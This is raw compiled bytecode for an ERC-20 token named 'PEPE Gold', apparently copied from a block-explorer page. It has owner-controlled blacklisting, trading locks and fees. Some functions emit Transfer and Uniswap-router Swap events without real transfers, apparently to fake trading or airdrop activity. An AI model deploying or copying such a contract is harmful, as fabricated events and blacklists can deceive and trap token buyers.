491906132cc565b610f96565b6040516104d69190613227565b60405180910390f35b3480156104eb57600080fd5b506104f4610fae565b6040516105019190613308565b60405180910390f35b34801561051657600080fd5b5061051f610fd7565b60405161052c9190613227565b60405180910390f35b34801561054157600080fd5b5061054a610fdd565b604051610557919061305e565b60405180910390f35b34801561056c57600080fd5b506105876004803603810190610582919061337c565b61101a565b005b34801561059557600080fd5b506105b060048036038101906105ab9190613128565b6110b9565b6040516105bd9190613183565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e891906135b4565b6110d7565b6040516105fa9190613183565b60405180910390f35b34801561060f57600080fd5b5061062a600480360381019061062591906132cc565b611325565b6040516106379190613183565b60405180910390f35b34801561064c57600080fd5b50610655611345565b005b34801561066357600080fd5b5061067e600480360381019061067991906136de565b61141e565b005b34801561068c57600080fd5b506106a760048036038101906106a2919061373e565b611558565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132cc565b611682565b005b3480156106de57600080fd5b506106f960048036038101906106f49190613787565b611772565b6040516107069190613227565b60405180910390f35b34801561071b57600080fd5b5061073660048036038101906107319190613242565b6117f9565b6040516107439190613183565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e91906137c7565b61186b565b005b34801561078157600080fd5b5061079c6004803603810190610797919061337c565b611954565b005b3480156107aa57600080fd5b506107b36119f3565b005b60606040518060400160405280600981526020017f5045504520476f6c640000000000000000000000000000000000000000000000815250905090565b60006108066107ff611aa5565b8484611aad565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b6000610853848484611c76565b6109148461085f611aa5565b61090f856040518060600160405280602881526020016143bc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c5611aa5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f99092919063ffffffff16565b611aad565b600190509392505050565b60185481565b60006002905090565b610936611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba9061387a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a299061390c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610af7611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061387a565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bd2611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c569061387a565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cbd611aa5565b73ffffffffffffffffffffffffffffffffffffffff161480610d335750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1b611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b610d3c57600080fd5b6000479050610d4a8161255d565b50565b6000610d97600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c9565b9050919050565b610da6611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a9061387a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ef9611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7d9061387a565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f50476f6c64000000000000000000000000000000000000000000000000000000815250905090565b611022611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a69061387a565b60405180910390fd5b8060188190555050565b60006110cd6110c6611aa5565b8484611c76565b6001905092915050565b600080600090505b8551811015611317578581815181106110fb576110fa61392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8784815181106111645761116361392c565b5b60200260200101516040516111799190613227565b60405180910390a38581815181106111945761119361392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106112115761121061392c565b5b602002602001015160008089878151811061122f5761122e61392c565b5b60200260200101516040516112479493929190613996565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061127e5761127d61392c565b5b60200260200101518987858151811061129a5761129961392c565b5b60200260200101516040518463ffffffff1660e01b81526004016112c0939291906139db565b6020604051808303816000875af11580156112df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113039190613a27565b50808061130f90613a83565b9150506110df565b506001905095945050505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611386611aa5565b73ffffffffffffffffffffffffffffffffffffffff1614806113fc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113e4611aa5565b73ffffffffffffffffffffffffffffffffffffffff16145b61140557600080fd5b600061141030610d4d565b905061141b81612637565b50565b611426611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114aa9061387a565b60405180910390fd5b60005b838390508110156115525781600560008686858181106114d9576114d861392c565b5b90506020020160208101906114ee91906132cc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061154a90613a83565b9150506114b6565b50505050565b611560611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e49061387a565b60405180910390fd5b60005b815181101561167e576001601060008484815181106116125761161161392c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061167690613a83565b9150506115f0565b5050565b61168a611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170e9061387a565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118589190613227565b60405180910390a3600190509392505050565b611873611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f79061387a565b60405180910390fd5b6019828561190e9190613acb565b111561191957600080fd5b606381846119279190613acb565b111561193257600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b61195c611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e09061387a565b60405180910390fd5b8060178190555050565b6119fb611aa5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7f9061387a565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1390613b71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8290613c03565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c699190613227565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdc90613c95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4b90613d27565b60405180910390fd5b60008111611d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8e90613db9565b60405180910390fd5b611d9f610fae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0d5750611ddd610fae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f857601560149054906101000a900460ff16611e9c57611e2e610fae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9290613e4b565b60405180910390fd5b5b601654811115611ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed890613eb7565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f855750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbb90613f49565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612071576017548161202684610d4d565b6120309190613acb565b10612070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206790613fdb565b60405180910390fd5b5b600061207c30610d4d565b90506000601854821015905060165482106120975760165491505b8080156120af575060158054906101000a900460ff16155b80156121095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121215750601560169054906101000a900460ff165b80156121775750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cd5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f5576121db82612637565b600047905060008111156121f3576121f24761255d565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123525750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236057600090506124e7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242357600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124ce5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e657600a54600c81905550600b54600d819055505b5b6124f3848484846128ae565b50505050565b6000838311158290612541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612538919061305e565b60405180910390fd5b50600083856125509190613ffb565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c5573d6000803e3d6000fd5b5050565b6000600654821115612610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612607906140a1565b60405180910390fd5b600061261a6128db565b905061262f818461290690919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266e5761266d6133ae565b5b60405190808252806020026020018201604052801561269c5781602001602082028036833780820191505090505b50905030816000815181106126b4576126b361392c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277f91906140d6565b816001815181106127935761279261392c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127fa30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aad565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285e9594939291906141c1565b600060405180830381600087803b15801561287857600080fd5b505af115801561288c573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bc576128bb612950565b5b6128c784848461298d565b806128d5576128d4612b58565b5b50505050565b60008060006128e8612b6c565b915091506128ff818361290690919063ffffffff16565b9250505090565b600061294883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bcb565b905092915050565b6000600c5414801561296457506000600d54145b61298b57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299f87612c2e565b9550955095509550955095506129fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ade81612d3e565b612ae88483612dfb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b459190613227565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba0670de0b6b3a764000060065461290690919063ffffffff16565b821015612bbe57600654670de0b6b3a7640000935093505050612bc7565b81819350935050505b9091565b60008083118290612c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c09919061305e565b60405180910390fd5b5060008385612c21919061424a565b9050809150509392505050565b6000806000806000806000806000612c4b8a600c54600d54612e35565b9250925092506000612c5b6128db565b90506000806000612c6e8e878787612ecb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f9565b905092915050565b6000808284612cef9190613acb565b905083811015612d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2b906142c7565b60405180910390fd5b8091505092915050565b6000612d486128db565b90506000612d5f8284612f5490919063ffffffff16565b9050612db381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1082600654612c9690919063ffffffff16565b600681905550612e2b81600754612ce090919063ffffffff16565b6007819055505050565b600080600080612e616064612e53888a612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612e8b6064612e7d888b612f5490919063ffffffff16565b61290690919063ffffffff16565b90506000612eb482612ea6858c612c9690919063ffffffff16565b612c9690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee48589612f5490919063ffffffff16565b90506000612efb8689612f5490919063ffffffff16565b90506000612f128789612f5490919063ffffffff16565b90506000612f3b82612f2d8587612c9690919063ffffffff16565b612c9690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f665760009050612fc8565b60008284612f7491906142e7565b9050828482612f83919061424a565b14612fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fba9061439b565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613008578082015181840152602081019050612fed565b60008484015250505050565b6000601f19601f8301169050919050565b600061303082612fce565b61303a8185612fd9565b935061304a818560208601612fea565b61305381613014565b840191505092915050565b600060208201905081810360008301526130788184613025565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130bf82613094565b9050919050565b6130cf816130b4565b81146130da57600080fd5b50565b6000813590506130ec816130c6565b92915050565b6000819050919050565b613105816130f2565b811461311057600080fd5b50565b600081359050613122816130fc565b92915050565b6000806040838503121561313f5761313e61308a565b5b600061314d858286016130dd565b925050602061315e85828601613113565b9150509250929050565b60008115159050919050565b61317d81613168565b82525050565b60006020820190506131986000830184613174565b92915050565b6000819050919050565b60006131c36131be6131b984613094565b61319e565b613094565b9050919050565b60006131d5826131a8565b9050919050565b60006131e7826131ca565b9050919050565b6131f7816131dc565b82525050565b600060208201905061321260008301846131ee565b92915050565b613221816130f2565b82525050565b600060208201905061323c6000830184613218565b92915050565b60008060006060848603121561325b5761325a61308a565b5b6000613269868287016130dd565b935050602061327a868287016130dd565b925050604061328b86828701613113565b9150509250925092565b600060ff82169050919050565b6132ab81613295565b82525050565b60006020820190506132c660008301846132a2565b92915050565b6000602082840312156132e2576132e161308a565b5b60006132f0848285016130dd565b91505092915050565b613302816130b4565b82525050565b600060208201905061331d60008301846132f9565b92915050565b61332c81613168565b811461333757600080fd5b50565b60008135905061334981613323565b92915050565b6000602082840312156133655761336461308a565b5b60006133738482850161333a565b91505092915050565b6000602082840312156133925761339161308a565b5b60006133a084828501613113565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6133e682613014565b810181811067ffffffffffffffff82111715613405576134046133ae565b5b80604052505050565b6000613418613080565b905061342482826133dd565b919050565b600067ffffffffffffffff821115613444576134436133ae565b5b602082029050602081019050919050565b600080fd5b600061346d61346884613429565b61340e565b905080838252602082019050602084028301858111156134905761348f613455565b5b835b818110156134b957806134a588826130dd565b845260208401935050602081019050613492565b5050509392505050565b600082601f8301126134d8576134d76133a9565b5b81356134e884826020860161345a565b91505092915050565b600067ffffffffffffffff82111561350c5761350b6133ae565b5b602082029050602081019050919050565b600061353061352b846134f1565b61340e565b9050808382526020820190506020840283018581111561355357613552613455565b5b835b8181101561357c57806135688882613113565b845260208401935050602081019050613555565b5050509392505050565b600082601f83011261359b5761359a6133a9565b5b81356135ab84826020860161351d565b91505092915050565b600080600080600060a086880312156135d0576135cf61308a565b5b60006135de888289016130dd565b955050602086013567ffffffffffffffff8111156135ff576135fe61308f565b5b61360b888289016134c3565b945050604086013567ffffffffffffffff81111561362c5761362b61308f565b5b61363888828901613586565b935050606086013567ffffffffffffffff8111156136595761365861308f565b5b61366588828901613586565b9250506080613676888289016130dd565b9150509295509295909350565b600080fd5b60008083601f84011261369e5761369d6133a9565b5b8235905067ffffffffffffffff8111156136bb576136ba613683565b5b6020830191508360208202830111156136d7576136d6613455565b5b9250929050565b6000806000604084860312156136f7576136f661308a565b5b600084013567ffffffffffffffff8111156137155761371461308f565b5b61372186828701613688565b935093505060206137348682870161333a565b9150509250925092565b6000602082840312156137545761375361308a565b5b600082013567ffffffffffffffff8111156137725761377161308f565b5b61377e848285016134c3565b91505092915050565b6000806040838503121561379e5761379d61308a565b5b60006137ac858286016130dd565b92505060206137bd858286016130dd565b9150509250929050565b600080600080608085870312156137e1576137e061308a565b5b60006137ef87828801613113565b945050602061380087828801613113565b935050604061381187828801613113565b925050606061382287828801613113565b91505092959194509250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613864602083612fd9565b915061386f8261382e565b602082019050919050565b6000602082019050818103600083015261389381613857565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138f6602683612fd9565b91506139018261389a565b604082019050919050565b60006020820190508181036000830152613925816138e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061398061397b6139768461395b565b61319e565b6130f2565b9050919050565b61399081613965565b82525050565b60006080820190506139ab6000830187613218565b6139b86020830186613987565b6139c56040830185613987565b6139d26060830184613218565b95945050505050565b60006060820190506139f060008301866132f9565b6139fd60208301856132f9565b613a0a6040830184613218565b949350505050565b600081519050613a2181613323565b92915050565b600060208284031215613a3d57613a3c61308a565b5b6000613a4b84828501613a12565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a8e826130f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613ac057613abf613a54565b5b600182019050919050565b6000613ad6826130f2565b9150613ae1836130f2565b9250828201905080821115613af957613af8613a54565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5b602483612fd9565b9150613b6682613aff565b604082019050919050565b60006020820190508181036000830152613b8a81613b4e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bed602283612fd9565b9150613bf882613b91565b604082019050919050565b60006020820190508181036000830152613c1c81613be0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7f602583612fd9565b9150613c8a82613c23565b604082019050919050565b60006020820190508181036000830152613cae81613c72565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d11602383612fd9565b9150613d1c82613cb5565b604082019050919050565b60006020820190508181036000830152613d4081613d04565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da3602983612fd9565b9150613dae82613d47565b604082019050919050565b60006020820190508181036000830152613dd281613d96565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e35603f83612fd9565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea1601c83612fd9565b9150613eac82613e6b565b602082019050919050565b60006020820190508181036000830152613ed081613e94565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f33602383612fd9565b9150613f3e82613ed7565b604082019050919050565b60006020820190508181036000830152613f6281613f26565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc5602383612fd9565b9150613fd082613f69565b604082019050919050565b60006020820190508181036000830152613ff481613fb8565b9050919050565b6000614006826130f2565b9150614011836130f2565b925082820390508181111561402957614028613a54565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408b602a83612fd9565b91506140968261402f565b604082019050919050565b600060208201905081810360008301526140ba8161407e565b9050919050565b6000815190506140d0816130c6565b92915050565b6000602082840312156140ec576140eb61308a565b5b60006140fa848285016140c1565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614138816130b4565b82525050565b600061414a838361412f565b60208301905092915050565b6000602082019050919050565b600061416e82614103565b614178818561410e565b93506141838361411f565b8060005b838110156141b457815161419b888261413e565b97506141a683614156565b925050600181019050614187565b5085935050505092915050565b600060a0820190506141d66000830188613218565b6141e36020830187613987565b81810360408301526141f58186614163565b905061420460608301856132f9565b6142116080830184613218565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614255826130f2565b9150614260836130f2565b9250826142705761426f61421b565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b1601b83612fd9565b91506142bc8261427b565b602082019050919050565b600060208201905081810360008301526142e0816142a4565b9050919050565b60006142f2826130f2565b91506142fd836130f2565b925082820261430b816130f2565b9150828204841483151761432257614321613a54565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614385602183612fd9565b915061439082614329565b604082019050919050565b600060208201905081810360008301526143b481614378565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ddc5e160a08bd6771812152751b93395a95f0f6a2bde79b2025e0e8d653563ef64736f6c63430008120033

Deployed Bytecode Sourcemap

